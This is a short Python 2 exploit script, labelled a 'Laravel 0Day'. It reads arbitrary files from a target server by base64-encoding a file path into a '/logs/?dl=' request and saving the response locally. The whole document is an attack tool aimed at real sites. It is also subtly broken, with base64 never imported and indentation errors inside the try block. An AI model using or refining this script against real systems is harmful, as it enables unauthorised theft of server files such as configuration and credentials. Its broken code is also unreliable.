import os

from urllib2 import urlopen, URLError, HTTPError
import argparse
import cookielib
parser = argparse.ArgumentParser(description='_0_ Laravel 0Day _0_')
parser.add_argument("-u", action="store", dest="url", help="Target URL", required=True)
parser.add_argument("-f", action="store", dest="file", help="Target File", required=True)
 
args = parser.parse_args()
url = str(args.url).strip()+"/logs/?dl="
final_file= args.file
if not os.path.exists("./0Grats0"):
    os.makedirs("./0Grats0")
 
word = str(args.file).split('/')
word1= "./0Grats0/"+word[-1]
finalee=url+base64.b64encode(final_file)
 
try:
    f = urlopen(finalee)
        with open(word1, "wb") as local_file:
            local_file.write(f.read())
except HTTPError, e:
        print "HTTP Error:", e.code, finalee
except URLError, e:
        print "URL Error:", e.reason, finalee
